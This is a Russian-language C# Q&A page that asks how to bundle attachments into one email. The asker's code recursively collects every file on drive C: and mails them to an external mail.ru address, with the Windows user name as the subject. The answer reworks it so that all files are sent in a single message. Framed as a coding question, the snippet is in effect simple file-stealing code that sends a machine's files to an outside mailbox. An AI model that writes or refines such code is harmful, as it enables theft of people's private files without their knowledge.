Прикрепить вложения к e-mail по очереди - C#
Формулировка задачи:
Тут фрагмент программы, которая ищет файлы по определенной маске и отправляет на почту.Я хочу чтобы в цикле вложения добавлялись одно за другим, а затем отправлялись одним сообщением.
что-то типа к sendfile(n-1) добавить sendfile(n).
То есть совместить вложения, чтобы они отправлялись одним сообщением, а не по очереди.
что-то в роде:
Листинг программы
- try
- {
- string[] files = Directory.GetFiles(@"C:", "*", SearchOption.AllDirectories);
- foreach (string f in files)
- {
- string from = "removed@mail.ru";
- string to = "removed@mail.ru";
- string subject = Environment.UserName;
- string text = "";
- text = text + f + "\n";
- message = new MailMessage(from, to, subject, text);
- Attachment sendfile = new Attachment(f);
- message.Attachments.Add(sendfile);
- }
- try
- {
- client.Send(message);
- Console.WriteLine("Message send");
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.ToString());
- }
- }
- catch (Exception ex) { Console.WriteLine(ex.ToString()); }
Листинг программы
- int n=..., t1=0, t2=0;
- while(...)
- {
- t1=n;
- n=t1+t2;
- t2=n;
- }
Решение задачи: «Прикрепить вложения к e-mail по очереди»
textual
Листинг программы
- message = new MailMessage();
- message.From = "clfdf2303@mail.ru";
- message.To.Add("clfdf2303@mail.ru");
- message.Subject = Environment.UserName;
- foreach (string f in files)
- {
- text = text + f + "\n";
- Attachment sendfile = new Attachment(f);
- message.Attachments.Add(sendfile);
- }
- message.Body = text;
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д